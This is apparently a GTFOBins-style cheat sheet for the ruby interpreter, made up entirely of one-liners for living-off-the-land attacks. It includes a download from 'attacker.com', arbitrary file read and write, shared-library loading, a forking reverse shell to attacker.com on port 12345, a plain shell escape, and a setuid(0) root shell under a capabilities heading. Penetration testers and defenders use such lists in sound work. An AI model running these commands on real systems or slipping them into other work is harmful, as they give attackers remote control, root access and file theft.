ruby

Download

ruby -e 'require "open-uri"; download = URI.open("http://attacker.com/path/to/input-file"); IO.copy_stream(download, "/path/to/output-file")'

File Read

ruby -e 'puts File.read("/path/to/input-file")'

File Write

ruby -e 'File.open("/path/to/output-file", "w+") { |f| f.write("DATA") }'

Library Load

ruby -e 'require "fiddle"; Fiddle.dlopen("/path/to/lib.so")'

Reverse Shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attacker.com",12345);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Shell

ruby -e 'exec "/bin/sh"'

CAPABILITIES override:

ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

Upload

ruby -run -e httpd . -p 80